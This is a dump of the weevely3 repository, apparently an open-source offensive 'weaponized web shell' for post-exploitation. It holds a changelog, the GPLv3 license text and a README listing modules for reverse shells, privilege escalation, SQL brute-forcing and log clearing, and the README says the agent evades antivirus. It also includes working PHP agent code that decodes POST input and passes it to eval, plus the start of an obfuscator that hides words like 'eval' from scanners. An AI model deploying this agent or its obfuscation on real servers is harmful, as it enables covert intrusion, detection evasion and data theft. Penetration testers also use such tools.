pax_global_header00006660000000000000000000000064144435333040014515gustar00rootroot0000000000000052 comment=445bd88be1a7ae2a1aaa34b88a38a92786e56b84 epinna-weevely3-445bd88/000077500000000000000000000000001444353330400150745ustar00rootroot00000000000000epinna-weevely3-445bd88/.gitignore000066400000000000000000000007731444353330400170730ustar00rootroot00000000000000# Test environment testsuite/environment/ # Testsuite configuration file testsuite/config.py # Sessions sessions/ # Byte-compiled / optimized / DLL files __pycache__/ *.py[cod] # C extensions *.so # Distribution / packaging .Python env/ bin/ build/ develop-eggs/ dist/ eggs/ lib/ lib64/ parts/ sdist/ var/ *.egg-info/ .installed.cfg *.egg # Installer logs pip-log.txt pip-delete-this-directory.txt # Unit test / coverage reports .tox/ .coverage .cache nosetests.xml coverage.xml # Translations *.mo epinna-weevely3-445bd88/.travis.yml000066400000000000000000000001001444353330400171740ustar00rootroot00000000000000sudo: required services: - docker script: ./tests/run.shepinna-weevely3-445bd88/CHANGELOG.md000066400000000000000000000074641444353330400167200ustar00rootroot00000000000000# Change Log ## [v4.0.2] - ### Fixed - Broken file_edit #133 ## [v4.0.1] - 2020-01-06 ### Removed - Remove PHP minification ### Fixed - Broken cd #122 ## [v4.0.0] - 2019-12-26 ### Added - Full port to Python 3 ### Fixed - Module net_phpproxy - Fixes alias management #117 ### Removed - Old backdoor formats LegacyCookie, LegacyReferrer, and Stegaref - Module backdoor_meterpreter ## [v3.7.0] - 2018-10-15 ### Fixed - Fix vector handling in audit_etcpasswd #93 ### Added - HTTPS proxy support - Support OPTIONS request in net_curl module - Use httpbin for net_proxy testing ## [v3.6.2] - 2018-06-27 ### Fixed - Remove audit_linuxprivchecker module ## [v3.6.1] - 2018-06-26 ### Fixed - Fixed corrupted session file #83 - Vendor files licensing ### Added - Man page ## [v3.6] - 2018-06-02 ### Fixed - PHP 7 support - Add exceptions catches ### Added - ObfPost is the default channel to obfuscate traffic in POST requests - Travic-CI integration ## [v3.5] - 2017-23-11 ### Fixed - Connection to HTTPS sites with wrong certificates - Fix net_phpproxy params - Fix broken audit_etcpasswd - Fix strings passing on SQL console ### Added - Dockerized test suite ## [v3.4] - 2016-11-02 ### Fixed - Stored/Passed/Default arguments handling ### Added - Backdoor_meterpreter module - System_procs module by @paddlesteamer - Support for database/schema selection for PostgreSQL by @caeaguilar ## [v3.3.1] - 2016-05-12 ### Fixed - File grep module wrong grepping folders - 500 error testing pcntl_fork in shell sh module ### Added - Clearlog and Mail module by @AppoPro - Socat vector in backdoor tcp module - Legacycookie generator - Upload2web module content and simulate options - Disable_function bypass module ## [v3.2.0] - 2015-06-29 ### Fixed - Basic Windows support - OS X support - Improve Stegaref channel referrer templates - Reset on channel session variables changes ### Added - Python requirements.txt - Encoding support for sql_console - Output redirection and inverse grep for file_grep - Run actions on start depending from the session load - Proxy and SOCKS support - Unset session variables - Show session variables ## [v3.1.0] - 2015-04-07 ### Added - Module bruteforce_sql - Additional HTTP headers - Direct command execution from weevely.py argument - Whoami, hostname, pwd, uname aliases - Module file_cp - CHANGELOG ## v3.0.0 - 2015-01-17 ### Added - Module sql_dump - Module sql_console - Module bruteforce_sqlusers - Module bruteforce_sql - Module file_mount - Module file_enum - Module file_download - Module file_touch - Module file_rm - Module file_edit - Module file_read - Module file_upload - Module file_upload2web - Module backdoor_reversetcp - Module backdoor_tcp - Module audit_suidsgid - Module file_find - Module audit_filesystem - Module audit_phpconf - Module audit_etcpasswd - Module net_phpproxy - Module net_ifconfig - Module net_proxy - Module net_scan - Module file_grep - Module net_curl - Modules file_zip, file_tar, file_gzip, and file_bzip2 - Support of legacy LegacyCookie and LegacyReferrer channels ### Removed - Module audit_userfiles - Module audit_mapwebfiles [unreleased]: https://github.com/epinna/weevely3/commit/HEAD [v3.1.0]: https://github.com/epinna/weevely3/releases/tag/v3.1.0 [v3.2.0]: https://github.com/epinna/weevely3/releases/tag/v3.2.0 [v3.3.1]: https://github.com/epinna/weevely3/releases/tag/v3.3.1 [v3.4]: https://github.com/epinna/weevely3/releases/tag/v3.4 [v3.5]: https://github.com/epinna/weevely3/releases/tag/v3.5 [v3.6]: https://github.com/epinna/weevely3/releases/tag/v3.6 [v3.6.1]: https://github.com/epinna/weevely3/releases/tag/v3.6.1 [v3.6.2]: https://github.com/epinna/weevely3/releases/tag/v3.6.2 [v3.7.0]: https://github.com/epinna/weevely3/releases/tag/v3.7.0 [v4.0.0]: https://github.com/epinna/weevely3/releases/tag/v4.0.0 [v4.0.1]: https://github.com/epinna/weevely3/releases/tag/v4.0.1 epinna-weevely3-445bd88/LICENSE000066400000000000000000001045131444353330400161050ustar00rootroot00000000000000 GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: Copyright (C) This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . epinna-weevely3-445bd88/README.md000066400000000000000000000112301444353330400163500ustar00rootroot00000000000000Weevely ======= [![Build Status](https://travis-ci.org/epinna/weevely3.svg?branch=master)](https://travis-ci.org/epinna/weevely3) ## Name Weevely - Weaponized web shell ## Usage ``` weevely generate weevely [cmd] ``` ## Description Weevely is a web shell designed for post-exploitation purposes that can be extended over the network at runtime. Upload weevely PHP agent to a target web server to get remote shell access to it. It has more than 30 modules to assist administrative tasks, maintain access, provide situational awareness, elevate privileges, and spread into the target network. Read the [Install](https://github.com/epinna/weevely3/wiki/Install) page to install weevely and its dependencies. Read the [Getting Started](https://github.com/epinna/weevely3/wiki/Getting-Started) page to generate an agent and connect to it. Browse the [Wiki](https://github.com/epinna/weevely3/wiki) to read examples and use cases. ### Features * Shell access to the target * SQL console pivoting on the target * HTTP/HTTPS proxy to browse through the target * Upload and download files * Spawn reverse and direct TCP shells * Audit remote target security * Port scan pivoting on target * Mount the remote filesystem * Bruteforce SQL accounts pivoting on the target ### Agent The agent is a small, polymorphic PHP script hardly detected by AV and the communication protocol is obfuscated within HTTP requests. ### Modules | Module | Description | --------------------------- | ------------------------------------------ | | :audit_filesystem | Audit the file system for weak permissions. | :audit_suidsgid | Find files with SUID or SGID flags. | :audit_disablefunctionbypass| Bypass disable_function restrictions with mod_cgi and .htaccess. | :audit_etcpasswd | Read /etc/passwd with different techniques. | :audit_phpconf | Audit PHP configuration. | :shell_sh | Execute shell commands. | :shell_ssh | Execute shell commands through SSH. | :shell_su | Execute commands with su. | :shell_php | Execute PHP commands. | :system_extensions | Collect PHP and webserver extension list. | :system_info | Collect system information. | :system_procs | List running processes. | :backdoor_reversetcp | Execute a reverse TCP shell. | :backdoor_tcp | Spawn a shell on a TCP port. | :bruteforce_sql | Bruteforce SQL database. | :file_gzip | Compress or expand gzip files. | :file_clearlog | Remove string from a file. | :file_check | Get attributes and permissions of a file. | :file_upload | Upload file to remote filesystem. | :file_webdownload | Download an URL. | :file_tar | Compress or expand tar archives. | :file_download | Download file from remote filesystem. | :file_bzip2 | Compress or expand bzip2 files. | :file_edit | Edit remote file on a local editor. | :file_grep | Print lines matching a pattern in multiple files. | :file_ls | List directory content. | :file_cp | Copy single file. | :file_rm | Remove remote file. | :file_upload2web | Upload file automatically to a web folder and get corresponding URL. | :file_zip | Compress or expand zip files. | :file_touch | Change file timestamp. | :file_find | Find files with given names and attributes. | :file_mount | Mount remote filesystem using HTTPfs. | :file_enum | Check existence and permissions of a list of paths. | :file_read | Read remote file from the remote filesystem. | :file_cd | Change current working directory. | :sql_console | Execute SQL query or run console. | :sql_dump | Multi dbms mysqldump replacement. | :net_mail | Send mail. | :net_phpproxy | Install PHP proxy on the target. | :net_curl | Perform a curl-like HTTP request. | :net_proxy | Run local proxy to pivot HTTP/HTTPS browsing through the target. | :net_scan | TCP Port scan. | :net_ifconfig | Get network interfaces addresses. ### Development Weevely is easily extendible to implement internal audit, account enumerator, sensitive data scraper, network scanner, make the modules work as a HTTP or SQL client and do a whole lot of other cool stuff. epinna-weevely3-445bd88/bd/000077500000000000000000000000001444353330400154615ustar00rootroot00000000000000epinna-weevely3-445bd88/bd/__init__.py000066400000000000000000000000001444353330400175600ustar00rootroot00000000000000epinna-weevely3-445bd88/bd/agents/000077500000000000000000000000001444353330400167425ustar00rootroot00000000000000epinna-weevely3-445bd88/bd/agents/obfpost_php.tpl000066400000000000000000000013741444353330400220130ustar00rootroot00000000000000<%! import hashlib, utils, string %><% passwordhash = hashlib.md5(password.encode('utf-8')).hexdigest().lower() key = passwordhash[:8] header = passwordhash[8:20] footer = passwordhash[20:32] PREPEND = utils.strings.randstr(16, charset = string.digits + string.ascii_letters).decode('utf-8') %>$k="${key}";$kh="${header}";$kf="${footer}";$p="${PREPEND}"; <%text> function x($t,$k){ $c=strlen($k);$l=strlen($t);$o=""; for($i=0;$i<$l;){ for($j=0;($j<$c&&$i<$l);$j++,$i++) { $o.=$t[$i]^$k[$j]; } } return $o; } if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) { @ob_start(); @eval(@gzuncompress(@x(@base64_decode($m[1]),$k))); $o=@ob_get_contents(); @ob_end_clean(); $r=@base64_encode(@x(@gzcompress($o),$k)); print("$p$kh$r$kf"); } epinna-weevely3-445bd88/bd/obfuscators/000077500000000000000000000000001444353330400200135ustar00rootroot00000000000000epinna-weevely3-445bd88/bd/obfuscators/cleartext1_php.tpl000066400000000000000000000000421444353330400234530ustar00rootroot00000000000000 epinna-weevely3-445bd88/bd/obfuscators/obfusc1_php.tpl000066400000000000000000000050321444353330400227450ustar00rootroot00000000000000<% # Does not include \ to avoid escaping termination quotes def find_substr_not_in_str(mainstr, characters = string.ascii_letters + string.digits + '!"#$%&()*+,-./:;<=>?@[]^_`{|}~'): while True: substr = utils.strings.randstr(2, False, characters) if not substr in mainstr: return substr def obfuscate(payload, obf, division, dangerous): while True: polluted = obf.join(list(utils.strings.divide(payload, 0, division, len(payload)//division))) found = False for dang in dangerous: if dang in polluted: found = True if not found: return polluted # Try to minify agent_minified = re.sub(rb'[\n\r\t]',b'',agent) obfuscation_agent = find_substr_not_in_str(agent_minified) obfuscated_agent = obfuscate(agent_minified, obfuscation_agent, 6, (b'eval', b'base64', b'gzuncompress', b'gzcompress')) agent_splitted_line_number = random.randint(5,8) agent_splitted = 